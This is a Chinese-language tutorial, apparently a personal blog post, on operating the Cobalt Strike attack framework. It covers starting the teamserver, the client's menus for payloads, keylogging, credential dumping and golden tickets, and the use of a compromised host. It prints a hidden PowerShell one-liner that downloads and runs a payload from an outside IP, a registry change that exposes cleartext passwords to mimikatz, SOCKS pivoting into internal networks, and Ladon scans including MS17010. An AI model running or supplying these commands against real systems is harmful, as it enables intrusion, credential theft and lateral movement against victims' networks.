将Cobaltstrike称为,
Cs
文件结构
1 | │ agscript 拓展应用的脚本 |
2 | │ c2lint 检查profile的错误异常 |
3 | │ cobaltstrike |
4 | │ cobaltstrike.jar 客户端程序 |
5 | │ icon.jpg |
6 | │ license.pdf |
7 | │ readme.txt |
8 | │ releasenotes.txt |
9 | │ teamserver 服务端程序 |
10 | │ update |
11 | │ update.jar |
12 | │ |
13 | └─third-party 第三方工具 |
14 | README.vncdll.txt |
15 | vncdll.x64.dll |
16 | vncdll.x86.dll |
打开
Cs
分为客户端和服务端
服务端(teamserver)
开放Cs
服务给客户端(cobaltstrike.exe)
连接
1 | 赋予执行权限: |
2 | chmod 777 teamserver |
3 | 然后在服务端执行 |
4 | ./teamserver IP 密码 |
然后host
填上面的IP
密码也是填一样的。
功能介绍
1 | New Connection 新的链接 |
2 | Preferences 偏好设置 |
3 | Visualization 窗口视图模式 |
4 | VPN interfaces VPN接入 |
5 | Listeners 监听器 |
6 | Sript Manager 脚本管理 |
7 | Close 退出 |
8 | |
9 | View: |
10 | Applications 用于显示 System Profiler 获取的目标浏览器,操作系统,flash版本 |
11 | Credentials 显示所有已经获取的用户主机hash |
12 | Downloads 显示下载的文件 |
13 | Event log 事件日志 记录团队 目标上线等记录 |
14 | Keystrokes 目标键盘记录 |
15 | Proxy Pivots 代理信息 |
16 | Screenshots 屏幕截图 |
17 | Script Console 加载自定义脚本 |
18 | Targets 显示所有主机 |
19 | Web log web服务日志 |
20 | |
21 | Attack: |
22 | Packages |
23 | HTML Application 生成hta文件 |
24 | MS Office Macro 宏office文件 |
25 | Payload Generator 生成各种语言版本的payload |
26 | USB/CD AutoPlay 利用自动播放运行的被控端文件 |
27 | Windows Dropper 捆绑器可将任意正常的文件 |
28 | Windows Executable payload生成可执行文件 (一般使用这个) |
29 | Windows Executable (S) 把包含payload,Stageless生成可执行文件(包含多数功能) |
30 | |
31 | Web Drive-by: |
32 | Manage 开启的所有web服务 |
33 | Clone Site 克隆网站 |
34 | Host File 提供Web以供下载某文件 |
35 | Scripted Web Delivery 为payload提供web服务以便于下载和执行 |
36 | Signed Applet Attack 启动一个Web服务以提供自签名Java Applet的运行环境 |
37 | Smart Applet Attack 自动检测Java版本并l利用已知的exploits绕过security |
38 | System Profiler 获取系统,Flash,浏览器版本等 |
39 | |
40 | Reporting: |
41 | Activity report 活动报告 |
42 | Hosts report 主机报告 |
43 | Indicators of Compromise 威胁报告 |
44 | Sessions report 会话报告 |
45 | Social engineering report 社会工程学报告 |
46 | |
47 | 右键功能: |
48 | Interact 打开beacon |
49 | Access |
50 | dump hashes 获取hash |
51 | Elevate 提权 |
52 | Golden Ticket 生成黄金票据注入当前会话 |
53 | MAke token 凭证转换 |
54 | Run Mimikatz 运行 Mimikatz |
55 | Spawn As 用其他用户生成Cobalt Strike侦听器 |
56 | Explore |
57 | Browser Pivot 劫持目标浏览器进程 |
58 | Desktop(VNC) 桌面交互 |
59 | File Browser 文件浏览器 |
60 | Net View 命令Net View |
61 | Port scan 端口扫描 |
62 | Process list 进程列表 |
63 | Screenshot 截图 |
64 | Pivoting |
65 | SOCKS Server 代理服务 |
66 | Listener 反向端口转发 |
67 | Deploy VPN 部署VPN |
68 | Spawn 新的通讯模式并生成会话 |
69 | Session 会话管理,删除,心跳时间,退出,备注 |
用法
使用命令行上线(反弹shell
)
点开后界面如下,然后一些监听操作都是界面化的不需要自己去构造命令如何执行。
图里的Listener
里的是监听端口和监听IP
,然后会生成一个powershell
代码,命令如下
1 | powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://47.xxx.xxx.xxx:80/a'))" |
2 | |
3 | 这个称为上线一句话 |
其实就是把监听的命令写在了http://47.xxx.xxx.xxx/a
里,然后用powershell
远程执行。
然后比如我们拿下了webshell
或者可以执行系统命令,就可以直接甩Cs
生成的命令,然后执行成功为下图
如果目标系统执行不了
powershell
可以使用其他的,Cs
自带有四个
文件浏览
取密码
有很多系统不能直接取明文密码,可以修改注册表选项
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
然后重启就行了(可以修改后,等目标机器重启然后直接读明文密码)
内存密码
直接跑mimikatz
取内存密码
注册表密码
dumphash
取内存密码
代理进内网
为什么要使用代理?
- 如内网用很多功能用图形化展示比较方便,如
mysql
等,那么我们可以在目标内网开通一个渠道,供我们去连接然后可以去使用图形化工具
目标内网192.168.31.140
,我的服务端192.168.31.138
,假设不在同一个内网,我服务端是VPS
,目标IP
是内网,那么我可以通过Cs
在服务端开一个端口代理,这个代理是走目标内网流量的,所以我代理服务端端口就等于我用目标内网的流量。
然后我们可以点击View -> Proxy Pivots
来看代理记录
然后代理服务端的IP
的55423
端口
扩展插件
这里使用
k8
哥哥开发的内网渗透扫描器Ladon
项目地址:
https://github.com/k8gege/Ladon
下载之后,点击Cobalt Strike -> Script Manager
然后把Ladon
的Ladon.cna
导入进去,如图
直接在命令行输入Ladon help
可以看帮助
用法:
1 | Ladon 192.168.11.0/24 OnlinePC # IP存活扫描 |
2 | Ladon 192.168.11.0/24 PortScan # 端口扫描 |
3 | Ladon 192.168.11.0/24 webScan # web扫描 |
4 | Ladon 192.168.11.0/24 MS17010 # 17010扫描s |
hash传递
还未学到此知识点,等学到了更新